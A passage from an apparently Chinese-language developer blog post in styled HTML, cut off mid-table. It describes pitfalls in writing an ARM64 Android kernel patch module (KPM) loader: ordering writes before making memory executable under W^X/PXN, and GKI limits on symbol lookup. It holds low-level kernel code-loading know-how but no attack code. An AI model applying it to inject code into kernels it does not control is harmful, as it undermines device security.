1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf=""> *base = module_alloc(total_size);</span><span leaf=""><br/></span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">/* 阶段 1：清零 */</span></span><span leaf=""><br/></span><span style="color: rgb(0, 122, 204);"><span leaf="">memset</span></span><span leaf="">(base, </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">, total_size);</span><span leaf=""><br/></span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">/* 阶段 2：所有写入都在 RW 阶段完成 */</span></span><span leaf=""><br/></span><span leaf="">kpm_move_sections(mod, info, base);</span><span leaf=""><br/></span><span leaf="">kpm_simplify_symbols(mod, info);</span><span leaf=""><br/></span><span leaf="">kpm_build_got(mod, info);</span><span leaf=""><br/></span><span leaf="">kpm_apply_relocations(mod, info);</span><span leaf=""><br/></span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">/* 阶段 3：之后才切换为可执行 */</span></span><span leaf=""><br/></span><span leaf="">kpm_make_exec(base, total_size);</span><span leaf=""><br/></span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">/* 阶段 4：刷新 icache */</span></span><span leaf=""><br/></span><span leaf="">kpm_flush_icache(base, total_size);</span><span leaf=""><br/></span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">/* 阶段 5：调用 KPM */</span></span><span leaf=""><br/></span><span leaf="">call_kpm_init(mod-&gt;init, args, event, reserved);</span></code></pre><p data-line="1659" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">ARM64 的 PXN 是硬件级约束。不能假设 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">module_alloc()</span></code><span leaf=""> 返回的内存默认可执行。所有代码写入完成后，必须显式切换为可执行。</span></p><p data-line="1661" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">坑 24：WXN 硬件上的写入时序问题</span></p><p data-line="1663" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">重定位计算完全正确，但写入指令后读回仍是旧值。表现像是写操作失败，但没有明确报错。</span></p><p data-line="1665" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">部分 ARM64 硬件实现支持 WXN：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1623" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">Write XOR Execute</span></code></pre><p data-line="1677" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">也就是页面不能同时拥有写权限和执行权限。错误流程如下：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1629" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">kpm_alloc_exec(size)</span><span leaf=""><br/></span><span leaf="">  → 分配内存</span><span leaf=""><br/></span><span leaf="">  → 立即 set_memory_x()</span><span leaf=""><br/></span><span leaf="">kpm_move_sections()</span><span leaf=""><br/></span><span leaf="">  → 复制 .text 内容</span><span leaf=""><br/></span><span leaf="">kpm_apply_relocations()</span><span leaf=""><br/></span><span leaf="">  → patch 指令</span></code></pre><p data-line="1693" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">问题在于：</span></p><blockquote style="background: none 0% 0% / auto repeat scroll padding-box border-box rgb(242, 242, 242);border-color: rgba(0, 122, 204, 0.5);margin: 0px;padding: 0px 16px 0px 10px;border-left-width: 5px;border-left-style: solid;border-radius: 2px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><p data-line="1643" dir="auto" style="margin-top: 0px;margin-bottom: 16px;"><span leaf="">在 relocation patching 之前，页面已经被设置成可执行。</span></p></blockquote><p data-line="1697" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">此时如果硬件或内核策略不允许可执行页继续写入，那么后续对 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.text</span></code><span leaf=""> 的写操作可能失败或行为异常。</span></p><p data-line="1699" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">必须严格遵循：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1649" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">RW 阶段：</span><span leaf=""><br/></span><span leaf="">  复制 section</span><span leaf=""><br/></span><span leaf="">  应用 relocation</span><span leaf=""><br/></span><span leaf="">  写 PLT / GOT / thunk</span><span leaf=""><br/></span><span leaf="">  完成所有 patching</span><span leaf=""><br/></span><span leaf="">RX 阶段：</span><span leaf=""><br/></span><span leaf="">  切换为可执行</span><span leaf=""><br/></span><span leaf="">  刷新 icache</span><span leaf=""><br/></span><span leaf="">  不再写 .text</span></code></pre><p data-line="1714" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">也就是：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1664" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">/* RW 阶段 */</span></span><span leaf=""><br/></span><span leaf="">base = module_alloc(size);</span><span leaf=""><br/></span><span style="color: rgb(0, 122, 204);"><span leaf="">memset</span></span><span leaf="">(base, </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">, size);</span><span leaf=""><br/></span><span leaf="">kpm_move_sections(...);</span><span leaf=""><br/></span><span leaf="">kpm_apply_relocations(...);</span><span leaf=""><br/></span><span leaf="">kpm_generate_trampolines(...);</span><span leaf=""><br/></span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">/* RX 阶段 */</span></span><span leaf=""><br/></span><span leaf="">set_memory_x(...);</span><span leaf=""><br/></span><span leaf="">flush_icache_range(...);</span><span leaf=""><br/></span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">/* 执行阶段 */</span></span><span leaf=""><br/></span><span leaf="">call_kpm_init(...);</span></code></pre><p data-line="1733" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">ARM64 上写权限和执行权限必须分阶段管理。只要 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.text</span></code><span leaf=""> 进入可执行阶段，就不应该再继续 patch 它。</span></p><p data-line="1735" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">坑 25：GKI 符号可见性限制</span></p><p data-line="1737" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">编译阶段一切正常，但运行时：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1687" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">kallsyms_lookup(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;module_alloc&#34;</span></span><span leaf="">)</span></code></pre><p data-line="1745" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">返回：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1693" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">NULL</span></code></pre><p data-line="1751" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">类似的问题还出现在：</span></p><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">set_memory_x</span></code></li><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">set_memory_rw</span></code></li><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">__flush_icache_range</span></code></li><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">aarch64_insn_patch_text_nosync</span></code></li></ul><p data-line="1758" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">安卓GKI严格限制导出符号列表。某个符号即使存在于 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/proc/kallsyms</span></code><span leaf=""> 中，也不代表普通模块可以直接引用。</span></p><p data-line="1760" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">常见情况是：</span></p><table style="border-collapse: collapse;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><thead><tr><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">符号</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">是否通常可直接模块引用</span></p></th></tr></thead><tbody><tr><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">printk</span></code></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">可以</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">kmalloc</span></code><p><span leaf=""> / </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">kfree</span></code></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">可以</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vmalloc</span></code><p><span leaf=""> / </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vfree</span></code></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">可以</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">filp_open</span></code><p><span leaf=""> / </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">filp_close</span></code></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">视配置而定</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">module_alloc</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">通常不可直接引用</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">set_memory_x</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">通常不可直接引用</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">set_memory_rw</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">通常不可直接引用</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 